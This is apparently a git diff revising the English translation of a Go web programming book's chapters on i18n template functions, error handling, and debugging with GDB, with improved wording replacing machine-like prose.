//Output: 2009年1月08日 星期四 20:37:58 CST
|
||||
@@ -106,11 +98,11 @@ Through the above method to load configuration information to the default file,
|
||||
|
||||
## Template mapfunc
|
||||
|
||||
Above we achieve a number of language packs and load management, and some function implementation is based on the logical layer, for example: "Tr.Translate", "Tr.Time", "Tr.Money" and so on, while we at the logical level You can use these functions to the parameters required for conversion when rendering the template layer output directly, but if we want to use them directly in the template layer functions that how to achieve it? I do not know if you remember, at the time said earlier template: Go language template support custom template function, the following is our implementation to facilitate the operation of mapfunc:
|
||||
Above, we've presented one way of managing and integrating a number of language packs. Some of the functions we've implemented are based on the logical layer, for example: "Tr.Translate", "Tr.Time", "Tr.Money" and so on. In the logical layer, we can use these functions (after supplying the required parameters) for applying your translations, outputting the results directly to the template layer at render time. What can we do if we want to use these functions *directly* in the template layer? In case you've forgotten, earlier in the book we mentioned that Go templates support custom template functions. The following code shows how easy mapfunc is to implement:
|
||||
|
||||
1 text information
|
||||
|
||||
Text information call `Tr.Translate` to achieve the appropriate information conversion, mapFunc is implemented as follows:
|
||||
A simple text conversion function implementing a mapfunc can be seen below. It uses `Tr.Translate` to perform the appropriate translations:
|
||||
|
||||
func I18nT(args ...interface{}) string {
|
||||
ok := false
|
||||
@@ -124,18 +116,18 @@ Text information call `Tr.Translate` to achieve the appropriate information conv
|
||||
return Tr.Translate(s)
|
||||
}
|
||||
|
||||
Registration function is as follows:
|
||||
We register the function like so:
|
||||
|
||||
t.Funcs(template.FuncMap{"T": I18nT})
|
||||
|
||||
Using the following template:
|
||||
Then use it from your template:
|
||||
|
||||
{{.V.Submit | T}}
|
||||
|
||||
|
||||
2. The date and time
|
||||
|
||||
Date and time to call `Tr.Time` function to achieve the appropriate time for a change, mapFunc is implemented as follows:
|
||||
Dates and times call the `Tr.Time` function to perform their translations. The mapfunc is implemented as follows:
|
||||
|
||||
func I18nTimeDate(args ...interface{}) string {
|
||||
ok := false
|
||||
@@ -149,17 +141,17 @@ Date and time to call `Tr.Time` function to achieve the appropriate time for a c
|
||||
return Tr.Time(s)
|
||||
}
|
||||
|
||||
Registration function is as follows:
|
||||
Register the function like so:
|
||||
|
||||
t.Funcs(template.FuncMap{"TD": I18nTimeDate})
|
||||
|
||||
Using the following template:
|
||||
Then use it from your template:
|
||||
|
||||
{{.V.Now | TD}}
|
||||
|
||||
3 Currency Information
|
||||
|
||||
Currency called `Tr.Money` function to achieve the appropriate time for a change, mapFunc is implemented as follows:
|
||||
Currencies use the `Tr.Money` function to convert money. The mapFunc is implemented as follows:
|
||||
|
||||
func I18nMoney(args ...interface{}) string {
|
||||
ok := false
|
||||
@@ -173,17 +165,17 @@ Currency called `Tr.Money` function to achieve the appropriate time for a change
|
||||
return Tr.Money(s)
|
||||
}
|
||||
|
||||
Registration function is as follows:
|
||||
Register the function like so:
|
||||
|
||||
t.Funcs(template.FuncMap{"M": I18nMoney})
|
||||
|
||||
Using the following template:
|
||||
Then use it from your template:
|
||||
|
||||
{{.V.Money | M}}
|
||||
|
||||
## Summary
|
||||
|
||||
Through this section we know how to implement a multi-language package for Web applications, through a custom language packs that we can facilitate the realization of multi-language, but also through the configuration file can be very convenient to expand multi-language, by default, go-i18n will be self- fixed load some common configuration information, such as time, money, etc., we can be very convenient to use, and in order to support the use of these functions in the template, but also to achieve the appropriate template functions, thus allowing us to develop Web applications in the time directly in the template the way through the pipeline operate multiple language packs.
|
||||
In this section we learned how to implement multiple language packs in our web applications. We saw that through custom language packs, we can not only easily internationalize our applications, but facilitate the addition of other languages also (through the use of a configuration file). By default, the go-i18n package will provide some common configurations for time, currency, etc., which can be very convenient to use. We learned that these functions can also be used directly from our templates using mapping functions; each translated string can be piped directly to our templates. This enables our web applications to accommodate multiple languages with minimal effort.
|
||||
|
||||
## Links
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# 10.4 Summary
|
||||
|
||||
Through the introduction of this chapter, the reader should be how to operate an insight into the i18n, I also introduced based on the contents of this chapter implements an open source solution for go-i18n: https://github.com/astaxie/go-i18n through this open source library that we can easily achieve multi-language version of the Web application, making our applications to easily achieve internationalization. If you find an error in this open source library or those missing places, please join to this open source project, let us strive to become the library Go's standard libraries.
|
||||
Through this introductory chapter on i18n, you should now be familiar with some of the steps and processes that are necessary for internationalizing and localizing your websites. I've also introduced an open source solution for i18n in Go: [go-i18n](https://github.com/astaxie/go-i18n). Using this open source library, we can easily implement multi-language versions of our web applications. This allows our applications to be flexible and responsive to local audiences all around the world. If you find an error in this open source library or any missing features, please open an issue or a pull request! Let's strive to make it one of Go's standard libraries!
|
||||
|
||||
## Links
|
||||
|
||||
|
||||
@@ -1,14 +1,14 @@
|
||||
# 11 Error Handling, Debugging, and Testing
|
||||
|
||||
We often see the majority of a programmer's "programming" time spent on checking for bugs and working on bug fixes. Whether you are prepared to amend the code or re-configurable systems, almost all spend a lot of time troubleshooting and testing, we feel that the outside world is a designer programmer, able to put a system has never done, is a very great work, but the work is quite interesting, but in fact every day we are wandering in troubleshooting, debugging, testing between. Of course, if you have good habits and technology solutions to confront these questions, then you are likely to minimize troubleshooting time, and as much as possible to spend time in the more valuable things.
|
||||
We often see the majority of a programmer's "programming" time spent on checking for bugs and working on bug fixes. Whether you are refactoring code or re-configuring systems, much of your time will undoubtedly be spent troubleshooting and testing. From the outside, people may think that all we do as programmers is design our systems and then write our code. They might think that we have the ideal job! We do work that is very engaging, and implement systems that have never been done before. While this last part may be true, what they don't know is that we spend the majority of our time cycling between troubleshooting, debugging and testing our code! Of course, if you have good programming habits and the technological solutions to help you take on these tasks, then you can minimize the time spent doing these things, enabling you to focus instead on more valuable things like the application logic.
|
||||
|
||||
But unfortunately a lot of programmers unwilling error handling, debugging and testing capabilities to work on, leading to the back on the line after the application for errors, positioning spend more time. So we do a good job in the design of the application before the error-handling plan, test cases, etc., then the future to modify the code, upgrade the system will become simpler.
|
||||
Unfortunately, many programmers are not thorough in fulfilling their error handling, debugging and testing responsibilities beforehand. Inexperienced programmers will often only make an effort to find errors and flaws after they have occurred, spending hours locating and fixing problems after the application is already online. It's good practice (and probably common sense) that we should design our applications with proper error handling, test cases, etc., from the get go. This will make your job, and the jobs of all the other developers who may be working on your application someday, much easier when they inevitably need to modify the code or upgrade the system.
|
||||
|
||||
Web application development process, errors are inevitable, so how better to find the cause of the error, solve the problem? Section 11.1 describes how to handle errors Go language, how to design your own package, error handling function, 11.2 section describes how to use GDB to debug our program, the dynamic operation of various variable information, operation monitoring and debugging.
|
||||
In the process of developing web applications, you will inevitably encounter unforeseen errors. What's the most efficient way of finding the causes of these errors and solving them? Section 11.1 describes how to handle errors in the Go language as well as how to design your own error handling package and functions. Section 11.2 describes how to use GDB to debug programs under dynamic operating conditions, depending on a variety of variable information. We then discuss application monitoring and debugging operations.
|
||||
|
||||
Section 11.3 of the Go language will explore in depth the unit tests and examples how to write unit tests, Go unit test specification how to define rules to ensure that future upgrades to modify run the appropriate test code can be minimized test.
|
||||
Section 11.3 will explain unit testing in Go and feature some in-depth discussions and examples on how to write unit tests, as well as defining Go's unit testing rules. We'll see how following these rules will ensure that when upgrading or modifying your application, the test code will be able to run smoothly.
|
||||
|
||||
For a long time, develop good debugging, testing has been a lot of programmers accustomed to evade thing, so now you do not escape, from your current project development, from the beginning to learn Go Web developers to develop good habits.
|
||||
Many programmers avoid spending time to learn and cultivate good debugging and testing habits. This chapter takes on these issues head-on so you won't have to run away from these tasks any longer. Since you're just learning how to build web applications in Go, let's use this opportunity to establish these good habits from the very beginning.
|
||||
|
||||
## Links
|
||||
|
||||
|
||||
@@ -1,21 +1,21 @@
|
||||
# 11.1 Error handling
|
||||
|
||||
Go language major design criterion is : simple to understand , simple is the syntax similar to C is fairly simple to understand refers to any statement is obvious , does not contain any hidden things in the error-handling program design also implement this idea . We know that there is in the C language by returning -1 or NULL to indicate the kind of error message , but for users who do not view the API documentation , the return value never know exactly what does it mean , for example: return 0 is success or failure , and Go defines a type called the error to explicitly express errors. When in use, by the returned error variable nil comparison to determine whether the operation was successful. For example `os.Open` function opens the file will return a failure of the error variable is not nil
|
||||
Go's major design considerations are rooted in the following ideas: a simple, clear, and concise syntax (similar to C), statements are explicit and don't contain hidden any hidden or unexpected things. Go's error handling scheme reflects all of these principles in the way that it's implemented. If you're familiar with the C language, you'll know that it's common to return -1 or NULL values to indicate that an error has occurred. However users who are not familiar with C's API will not know exactly what these return values mean. In C, it's not explicit whether a value of `0` indicates success of failure. On the other hand, Go explicitly defines a type called `error` for the sole purpose of expressing errors. Whenever a function returns, we check to see whether the error variable is `nil` or not to determine if the operation was successful. For example, the `os.Open` function fails, it will return a non-nil error variable.
|
||||
|
||||
func Open (name string) (file * File, err error)
|
||||
func Open(name string) (file * File, err error)
|
||||
|
||||
Here's an example by calling `os.Open` open a file if an error occurs, it will call the `log.Fatal` to output an error message :
|
||||
Here's an example of how we'd handle an error in `os.Open`. First, we attempt to open a file. When the function returns, we check to see whether it succeeded or not by comparing the error return value with nil, calling `log.Fatal` to output an error message if it's a non-nil value:
|
||||
|
||||
f, err := os.Open("filename.ext")
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
Similar to the `os.Open` function, the standard package of all possible errors of the API will return an error variable to facilitate error handling, this section will detail error type design, and discuss how to develop Web applications to better handle error.
|
||||
Similar to the `os.Open` function, the functions in Go's standard packages all return error variables to facilitate error handling. This section will go into detail about the design of error types and discuss how to properly handle errors in web applications.
|
||||
|
||||
## Error type
|
||||
|
||||
`error` is an interface type, with this definition:
|
||||
`error` is an interface type with the following definition:
|
||||
|
||||
type error interface {
|
||||
Error() string
|
||||
@@ -23,6 +23,10 @@ Similar to the `os.Open` function, the standard package of all possible errors o
|
||||
|
||||
`error` is a built-in interface type, we can / builtin / pack below to find the appropriate definition. And we have a lot of internal error is used inside the package packet errors following implementation structure errorString private
|
||||
|
||||
|
||||
|
||||
`error` is a built-in interface type. We can find the corresponding definition in the builtin package below. We also have a lot of internal packages using the error in a private structure called `errorString`, which implements the error interface:
|
||||
|
||||
// errorString is a trivial implementation of error.
|
||||
type errorString struct {
|
||||
s string
|
||||
@@ -32,7 +36,7 @@ Similar to the `os.Open` function, the standard package of all possible errors o
|
||||
return e.s
|
||||
}
|
||||
|
||||
You can `errors.New` put a string into errorString, in order to get a meet the interface error object whose internal implementation is as follows:
|
||||
You can convert a regular string to an `errorString` through `errors.New` in order to get an object that satisfies the error interface. Its internal implementation is as follows:
|
||||
|
||||
// New returns an error that formats as the given text.
|
||||
func New(text string) error {
|
||||
@@ -48,16 +52,16 @@ The following example demonstrates how to use `errors.New`:
|
||||
// implementation
|
||||
}
|
||||
|
||||
In the following example, we call the Sqrt when passing a negative number , and then you get the error object is non-nil , nil compared with this object , the result is true, so `fmt.Println` (fmt package when dealing with error calls the error method ) is called to output error , look at the following sample code to call :
|
||||
In the following example, we pass a negative number to our `Sqrt` function. Checking the `err` variable, we check whether the error object is non-nil using a simple nil comparison. The result of the comparison is true, so `fmt.Println` (the `fmt` package calls the error method when dealing with error calls) is called to output an error.
|
||||
|
||||
f, err := Sqrt(-1)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
|
||||
## Custom Error
|
||||
## Custom Errors
|
||||
|
||||
Through the above description we know that error is an interface, so in the realization of their package, by defining the structure implements this interface , we can realize their error definitions , see the package from Json Example:
|
||||
Through the above description, we know that a go Error is an interface. By defining a struct that implements this interface, we can implement their error definitions. Here's an example from the JSON package:
|
||||
|
||||
type SyntaxError struct {
|
||||
msg string // error description
|
||||
@@ -66,7 +70,7 @@ Through the above description we know that error is an interface, so in the real
|
||||
|
||||
func (e * SyntaxError) Error() string {return e.msg}
|
||||
|
||||
Error Offset field in the call time will not be printed , but we can get through a type assertion error type , then you can print an appropriate error message , see the following examples:
|
||||
The error's `Offset` field will not be printed at runtime when syntax errors occur, but using a type assertion error type, you can print the desired error message:
|
||||
|
||||
if err := dec.Decode(&val); err != nil {
|
||||
if serr, ok := err.(*json.SyntaxError); ok {
|
||||
@@ -76,20 +80,20 @@ Error Offset field in the call time will not be printed , but we can get through
|
||||
return err
|
||||
}
|
||||
|
||||
Note that, the function returns a custom error, the return value is set to recommend error type, rather than a custom error types, particular note should not be pre-declare custom error types of variables. For example:
|
||||
It should be noted that when the function returns a custom error, the return value is set to the recommend type of error rather than a custom error type. Be careful not to pre-declare variables of custom error types. For example:
|
||||
|
||||
func Decode() *SyntaxError {
|
||||
// error , which may lead to the upper caller err! = nil judgment is always true.
|
||||
var err * SyntaxError // pre- declare error variable
|
||||
// error, which may lead to the caller's err != nil comparison to always be true.
|
||||
var err * SyntaxError // pre-declare error variable
|
||||
if an error condition {
|
||||
err = & SyntaxError {}
|
||||
err = &SyntaxError{}
|
||||
}
|
||||
return err // error , err always equal non- nil, causes the upper caller err! = nil judgment is always true
|
||||
return err // error, err always equal non-nil, causes caller's err != nil comparison to always be true
|
||||
}
|
||||
|
||||
Cause see http://golang.org/doc/faq#nil_error
|
||||
See http://golang.org/doc/faq#nil_error for an in depth explanation
|
||||
|
||||
The above example shows how a simple custom Error type. But if we need more sophisticated error handling it? At this point, we have to refer to net package approach:
|
||||
The above example shows how to implement a simple custom Error type. But what if we need more sophisticated error handling? In this case, we have to refer to the `net` package approach:
|
||||
|
||||
package net
|
||||
|
||||
@@ -100,7 +104,7 @@ The above example shows how a simple custom Error type. But if we need more soph
|
||||
}
|
||||
|
||||
|
||||
Place the call through the type assertion err is not net.Error, to refine error handling , such as the following example , if a temporary error occurs on the network , it will sleep 1 seconds Retry :
|
||||
Using type assertion, we can check whether or not our error is of type net.Error, as shown in the following example. This allows us to refine our error handling -if a temporary error occurs on the network, it will sleep for 1 second, then retry the operation.
|
||||
|
||||
if nerr, ok := err.(net.Error); ok && nerr.Temporary() {
|
||||
time.Sleep(1e9)
|
||||
@@ -112,9 +116,7 @@ Place the call through the type assertion err is not net.Error, to refine error
|
||||
|
||||
## Error handling
|
||||
|
||||
Go in the error handling on the use of the C check the return value similar manner , rather than most other mainstream languages used in unexpected ways , which caused a code written on a big disadvantage : error handling code redundancy , for this kind of situation is that we detect function to reduce reuse similar code .
|
||||
|
||||
Look at the following example code:
|
||||
Go handles errors and checks the return values of functions in a C-like fashion, which is different than what most of the other major languages do. This makes the code more explicit and predictable, but also more verbose. To reduce the redundancy of our error-handling code, we can use abstract error handling functions that allow us to implement similar error handling behaviour:
|
||||
|
||||
func init() {
|
||||
http.HandleFunc("/view", viewRecord)
|
||||
@@ -133,7 +135,9 @@ Look at the following example code:
|
||||
}
|
||||
}
|
||||
|
||||
The above example shows a template to get data and call has detected an error when an error occurs , call a unified processing function `http.Error`, returned to the client 500 error code and display the corresponding error data . But when more and more HandleFunc joined, so that error-handling logic code will be more and more, in fact, we can customize the router to reduce the code ( realization of the ideas you can refer to Chapter III of the HTTP Detailed ) .
|
||||
The above example demonstrate access to data and template call has detected error when an error occurs , call a unified handler http.Error, returns a 500 error code to the client , and display the corresponding error data. But when more and more HandleFunc join, so error-handling logic code will be more and more, in fact, we can customize the router to reduce code ( refer to realize the idea of the third chapter of HTTP Detailed) .
|
||||
|
||||
The above function is an example of getting data and handling an error when it occurs by calling a unified error processing function called `http.Error`. In this case, it will return an Internal Error 500 code to the client, and display the corresponding error data. Even using this method however, when more and more `HandleFunc`'s are needed, the error-handling logic can still become quite bloated. An alternative approach would be to customize our router to handle errors by default:
|
||||
|
||||
type appHandler func(http.ResponseWriter, *http.Request) error
|
||||
|
||||
@@ -143,13 +147,13 @@ The above example shows a template to get data and call has detected an error wh
|
||||
}
|
||||
}
|
||||
|
||||
Above we defined a custom router , and then we can adopt the following approach to registration function :
|
||||
Above we've defined a custom router. We can then register our handler as usual:
|
||||
|
||||
func init() {
|
||||
http.Handle("/view", appHandler(viewRecord))
|
||||
}
|
||||
|
||||
When requested `/view` when we can become as logical processing code, and the first implementation has been compared to a lot simpler .
|
||||
The `/view` handler can then be handled by the following code; it is a lot simpler than our original implementation isn't it?
|
||||
|
||||
func viewRecord(w http.ResponseWriter, r *http.Request) error {
|
||||
c := appengine.NewContext(r)
|
||||
@@ -161,7 +165,7 @@ When requested `/view` when we can become as logical processing code, and the fi
|
||||
return viewTemplate.Execute(w, record)
|
||||
}
|
||||
|
||||
The above example error handling when all errors are returned to the user 500 error code, and then print out the corresponding error code , in fact, we can put this definition more friendly error messages when debugging is also convenient positioning problem, we can custom return types of errors :
|
||||
The error handler example above will return the 500 Internal Error code to users when any errors occur, in addition to printing out the corresponding error code. In fact, we can customize the type of error returned to output a more developer friendly error message with information that is useful for debugging like so:
|
||||
|
||||
type appError struct {
|
||||
Error error
|
||||
@@ -169,7 +173,7 @@ The above example error handling when all errors are returned to the user 500 er
|
||||
Code int
|
||||
}
|
||||
|
||||
So that our custom router can be changed as follows :
|
||||
Our custom router can be changed accordingly:
|
||||
|
||||
type appHandler func(http.ResponseWriter, *http.Request) *appError
|
||||
|
||||
@@ -181,7 +185,7 @@ So that our custom router can be changed as follows :
|
||||
}
|
||||
}
|
||||
|
||||
Such custom error after modifying our logic can be changed as follows :
|
||||
After we've finished modifying our custom error, our logic can be changed as follows:
|
||||
|
||||
func viewRecord(w http.ResponseWriter, r *http.Request) *appError {
|
||||
c := appengine.NewContext(r)
|
||||
@@ -196,11 +200,11 @@ Such custom error after modifying our logic can be changed as follows :
|
||||
return nil
|
||||
}
|
||||
|
||||
As shown above, in our view when you can visit according to different situations for different error codes and error messages , although this first version of the code and the amount is almost, but this show is more obvious error , the error message prompts more friendly , scalability is also better than the first one .
|
||||
As shown above, we can return different error codes and error messages in our views, depending on the situation. Although this version of our code functions similarly to the previous version, it's more explicit, and its error message prompts are more comprehensible. All of these factors can help to make your application more scalable as complexity increases.
|
||||
|
||||
## Summary
|
||||
|
||||
In programming , fault tolerance is a very important part of the work , in Go it is achieved through error handling , error although only one interface, but it can have many variations but we can according to their needs to achieve different treatment Finally introduce error handling scheme , we hope that in how to design better programs on the Web error handling to bring some ideas .
|
||||
Fault tolerance is a very important aspect of any programming language. In Go, it is achieved through error handling. Although `Error` is only one interface, it can have many variations in the way that it's implemented, and we can customize it according to our needs on a case by case basis. By introducing these various error handling concepts, we hope that you will have gained some insight on how to implement better error handling schemes in your own web applications.
|
||||
|
||||
## Links
|
||||
|
||||
|
||||
@@ -1,30 +1,28 @@
|
||||
# 11.2 Debugging by using GDB
|
||||
# 11.2 Debugging with GDB
|
||||
|
||||
Development process during debugging code that developers often need to do one thing, Go language like PHP, Python and other dynamic languages , as long as the modifications do not need to compile can be directly output, and can dynamically at runtime environments print data. Go language course can also Println like the print data to debug, but need to be recompiled each time, which is a very troublesome thing. We know that in Python with pdb / ipdb tools such as debugging, JavaScript has similar tools that are able to dynamically display variable information, single-step debugging. But fortunately Go has a similar tool support : GDB. Go inside has built in support for GDB, so we can GDB for debugging, then this section will introduce how GDB to debug Go program.
|
||||
During the development process of any application, developers will always need to perform some kind of code debugging. PHP, Python, and most of the other dynamic languages, are able to be modified at runtime, as long as the modifications do not explicitly need to be compiled. We can easily print data in dynamic operating environments, outputting our changes and printing variable information directly. In Go, you can of course speckle your code with `Println`s before-hand to display variable information for debugging purposes, but any changes to your code need to be recompiled every time. This can quickly become cumbersome. If you've programmed in Python or Javascript, you'll know that the former provides tools such as pdb and ipdb for debugging, and the latter has similar tools that are able to dynamically display variable information and facilitate single-step debugging. Fortunately, Go has native support for a similar tool which provides such debugging features: GDB. This section serves as a brief introduction into debugging Go applications using GDB.
|
||||
|
||||
## GDB debugging Profile
|
||||
## GDB debugging profile
|
||||
|
||||
GDB is the FSF (Free Software Foundation) published a powerful UNIX-like system under the program debugging tool. Using GDB can do the following things:
|
||||
GDB is a powerful debugging tool targeting UNIX-like systems, released by the FSF (Free Software Foundation). GDB allows us to do the following things:
|
||||
|
||||
1. Start the program, you can customize according to the developer's requirements to run the program.
|
||||
2. Allows the program being debugged by setting the tone in the development of home stopped at a breakpoint. (Breakpoints can be conditional expression)
|
||||
3. When the program is stopped, you can check the program at this time what happened.
|
||||
4. To dynamically change the current program execution environment.
|
||||
1. Initial settings can be customize according to the specific requirements of your application.
|
||||
2. Can be set so that the program being debugged in the developer's console stops at the prescribed breakpoints (breakpoints can be conditional expressions).
|
||||
3. When the program has been stopped, you can check its current state to see what happened.
|
||||
4. Dynamically change the current program's execution environment.
|
||||
|
||||
Go program currently supports the GDB debugger version must be greater than 7.1.
|
||||
To debug your Go applications using GDB, the version of GDB you use must be greater than 7.1.
|
||||
|
||||
Go program compiled the following points should be noted when
|
||||
When compiling Go programs, the following points require particular attention:
|
||||
|
||||
1. Passing Parameters -ldflags "-s", ignoring the print debug information
|
||||
2. pass -gcflags "-N-l" parameter, so you can ignore Go inside to do some optimization, optimization of aggregate variables and functions, etc., so for GDB debugger is very difficult, so at compile time to join these two parameters to avoid these optimization.
|
||||
1. Using `-ldflags "-s"` will prevent the standard debugging information from being printed
|
||||
2. Using `-gcflags "-N-l"` will prevent Go from performing some of its automated optimizations -optimizations of aggregate variables, functions, etc. These optimizations can make it very difficult for GDB to do its job, so it's best to disable them at compile time using these flags.
|
||||
|
||||
## Common commands
|
||||
|
||||
GDB of some commonly used commands are as follows
|
||||
Some of GDB's most commonly used commands are as follows:
|
||||
|
||||
- list
|
||||
|
||||
Abbreviated command `l`, is used to display the source code, the default display ten lines of code, you can bring back a specific line parameter display, for example : `list 15`, display ten lines of code, of which the first 15 rows displayed inside ten lines in the middle, as shown below.
|
||||
Also used in its abbreviated form `l`, `list` is used to display the source code. By default, it displays ten lines of code and you can specify the line you wish to display. For example, the command `list 15` displays ten lines of code centered around line 15, as shown below.
|
||||
|
||||
10 time.Sleep(2 * time.Second)
|
||||
11 c <- i
|
||||
@@ -39,10 +37,11 @@ Abbreviated command `l`, is used to display the source code, the default display
|
||||
|
||||
- break
|
||||
|
||||
Abbreviated command `b`, used to set breakpoints, followed by the number of rows parameter setting breakpoints, such as `b 10` set a break point in the tenth row.
|
||||
Also used in its abbreviated form `b`, `break` is used to set breakpoints, and takes as an argument that defines which point to set the breakpoint at. For example, `b 10` sets a break point at the tenth row.
|
||||
|
||||
- delete
|
||||
Abbreviated command `d`, to delete a break point, the break point is set followed by the serial number, the serial number can be obtained through the `info breakpoints` break point set corresponding serial number is displayed as follows to set a break point number.
|
||||
|
||||
Also used in its abbreviated form `d`, `delete` is used to delete break points. The break point is set followed by the serial number. The serial number can be obtained through the `info breakpoints` command. Break points set with their corresponding serial numbers are displayed as follows to set a break point number.
|
||||
|
||||
Num Type Disp Enb Address What
|
||||
2 breakpoint keep y 0x0000000000400dc3 in main.main at /home/xiemengjun/gdb.go:23
|
||||
@@ -50,7 +49,7 @@ Abbreviated command `d`, to delete a break point, the break point is set followe
|
||||
|
||||
- backtrace
|
||||
|
||||
Abbreviated command `bt`, the process used to print the execution of the code, as follows:
|
||||
Abbreviated as `bt`, this command is used to print the execution of the code, for instance:
|
||||
|
||||
#0 main.main () at /home/xiemengjun/gdb.go:23
|
||||
#1 0x000000000040d61e in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244
|
||||
@@ -59,19 +58,19 @@ Abbreviated command `bt`, the process used to print the execution of the code, a
|
||||
|
||||
- info
|
||||
|
||||
info command to display information, followed by several parameters, we used the following categories:
|
||||
The `info` command can be used in conjunction with several parameters to display information. The following parameters are commonly used:
|
||||
|
||||
- `info locals`
|
||||
|
||||
Displays the currently executing program variable values
|
||||
Displays the currently executing program's variable values
|
||||
|
||||
- `info breakpoints`
|
||||
|
||||
Display a list of currently set breakpoints
|
||||
Displays a list of currently set breakpoints
|
||||
|
||||
- `info goroutines`
|
||||
|
||||
Goroutine displays the current list of execution, as shown in the code, with* indicates the current execution
|
||||
Displays the current list of running goroutines, as shown in the following code, with the `*` indicating the current execution
|
||||
|
||||
* 1 running runtime.gosched
|
||||
* 2 syscall runtime.entersyscall
|
||||
@@ -80,28 +79,29 @@ Goroutine displays the current list of execution, as shown in the code, with* in
|
||||
|
||||
- print
|
||||
|
||||
Abbreviated command `p`, or other information used to print variable, followed by the variable name to be printed, of course, there are some very useful function $len() and $cap(), is used to return the current string, slices or maps the length and capacity.
|
||||
Abbreviated as `p`, this command is used to print variables or other information. It takes as arguments the variable names to be printed and of course, there are some very useful functions such as $len() and $cap() that can be used to return the length or capacity of the current strings, slices or maps.
|
||||
|
||||
- whatis
|
||||
|
||||
Used to display the current variable type, followed by the variable name, for example, `whatis msg`, is shown below :
|
||||
`whatis` is used to display the current variable type, followed by the variable name. For instance, `whatis msg`, will output the following:
|
||||
|
||||
type = struct string
|
||||
|
||||
- next
|
||||
|
||||
Abbreviated command `n`, for single-step debugging, skip the next step, when there is a break point, you can enter `n` jump to the next step to continue
|
||||
Abbreviated as `n`, `next` is used in single-step debugging to skip to the next step. When there is a break point, you can enter `n` to jump to the next step to continue
|
||||
|
||||
- continue
|
||||
|
||||
Abbreviated command `c`, to jump out of the current break point can be followed by parameter N, the number of times the break point skipped
|
||||
Abbreviated as `c`, `continue` is used to jump out of the current break point and can be followed by a parameter N, which specifies the number of times to skip the break point
|
||||
|
||||
- set variable
|
||||
|
||||
This command is used to change the value of a variable during operation, formats such as : `set variable <var> = <value>`
|
||||
This command is used to change the value of a variable in the process. It can be used like so: `set variable <var> = <value>`
|
||||
|
||||
## Debugging process
|
||||
## The debugging process
|
||||
|
||||
We use the following code to demonstrate how this GDB to debug Go program, the following is the code that will be demonstrated :
|
||||
Now, let's take a look at the following code to see how GDB is typically used to debug Go programs:
|
||||
|
||||
|
||||
package main
|
||||
@@ -131,15 +131,15 @@ We use the following code to demonstrate how this GDB to debug Go program, the f
|
||||
}
|
||||
|
||||
|
||||
Compiled file, an executable file gdbfile:
|
||||
Now we compile the file, creating an executable file called "gdbfile":
|
||||
|
||||
go build -gcflags "-N -l" gdbfile.go
|
||||
|
||||
By GDB command to start debugging :
|
||||
Use the GDB command to start debugging :
|
||||
|
||||
gdb gdbfile
|
||||
|
||||
After the first start is not possible to look at this program up and running, just enter the `run` command carriage return after the program starts to run, the program correctly, then you can see the program output is as follows, and we execute the program directly from the command line output is the same:
|
||||
After first starting GDB, you'll have to enter the `run` command to see your program running. You will then see the program output the following; executing the program directly from the command line will output exactly the same thing:
|
||||
|
||||
(gdb) run
|
||||
Starting program: /home/xiemengjun/gdbfile
|
||||
@@ -157,7 +157,7 @@ After the first start is not possible to look at this program up and running, ju
|
||||
[LWP 2771 exited]
|
||||
[Inferior 1 (process 2771) exited normally]
|
||||
|
||||
Well, now we know how to make the program run up, then began to give the code to set a break point :
|
||||
Ok, now that we know how to get the program up and running, let's take a look at setting breakpoints:
|
||||
|
||||
(gdb) b 23
|
||||
Breakpoint 1 at 0x400d8d: file /home/xiemengjun/gdbfile.go, line 23.
|
||||
@@ -171,7 +171,7 @@ Well, now we know how to make the program run up, then began to give the code to
|
||||
23 fmt.Println("count:", count)
|
||||
|
||||
|
||||
The above example shows the `b 23` set a break point on line 23, then enter `run` start the program running. The program now in place to set a break point in front stopped, we need to look at the context of the break point corresponding source code, enter `list` you can see the display from the current source line before stopping five starts :
|
||||
In the above example, we use the `b 23` command to set a break point on line 23 of our code, then enter `run` to start the program. When our program stops at our breakpoint, we typically need to look at the corresponding source code context. Entering the `list` command into our GDB session, we can see the five lines of code preceding our breakpoint:
|
||||
|
||||
(gdb) list
|
||||
18 fmt.Println(msg)
|
||||
@@ -183,7 +183,7 @@ The above example shows the `b 23` set a break point on line 23, then enter `run
|
||||
24 }
|
||||
25 }
|
||||
|
||||
GDB now running the current program environment has retained some useful debugging information, we just print out the corresponding variables, see the corresponding variable types and values:
|
||||
Now that GDB is running the current program environment, we have access to some useful debugging information that we can print out. To see the corresponding variable types and values, type `info locals`:
|
||||
|
||||
(gdb) info locals
|
||||
count = 0
|
||||
@@ -195,7 +195,7 @@ GDB now running the current program environment has retained some useful debuggi
|
||||
(gdb) whatis bus
|
||||
type = chan int
|
||||
|
||||
Then let the program continue down the execution, please read the following command:
|
||||
To let the program continue its execution until the next breakpoint, enter the `c` command:
|
||||
|
||||
(gdb) c
|
||||
Continuing.
|
||||
@@ -214,9 +214,9 @@ Then let the program continue down the execution, please read the following comm
|
||||
23 fmt.Println("count:", count)
|
||||
|
||||
|
||||
After each entry `c` code will be executed once, and jump to the next for loop, continue to print out the appropriate information.
|
||||
After each `c`, the code will execute once then jump to the next iteration of the `for` loop. It will, of course, continue to print out the appropriate information.
|
||||
|
||||
Assume that current need to change the context variables, skipping the process and continue to the next step, the modified desired results obtained :
|
||||
Let's say that you need to change the context variables in the current execution environment, skip the process then continue to the next step. You can do so by first using `info locals` to get the variable states, then the `set variable` command to modify them:
|
||||
|
||||
(gdb) info locals
|
||||
count = 2
|
||||
@@ -233,7 +233,7 @@ Assume that current need to change the context variables, skipping the process a
|
||||
Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23
|
||||
23 fmt.Println("count:", count)
|
||||
|
||||
Finally a little thought, in front of the entire program is running in the process in the end created a number goroutine, each goroutine are doing :
|
||||
Finally, while running, the program creates a number of number goroutines. We can see what each goroutine is doing using `info goroutines`:
|
||||
|
||||
(gdb) info goroutines
|
||||
* 1 running runtime.gosched
|
||||
@@ -251,11 +251,11 @@ Finally a little thought, in front of the entire program is running in the proce
|
||||
#5 0x000000000040d16a in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267
|
||||
#6 0x0000000000000000 in ?? ()
|
||||
|
||||
Commands by viewing goroutines we can clearly understand goruntine performed internally how each function call sequence has plainly shown.
|
||||
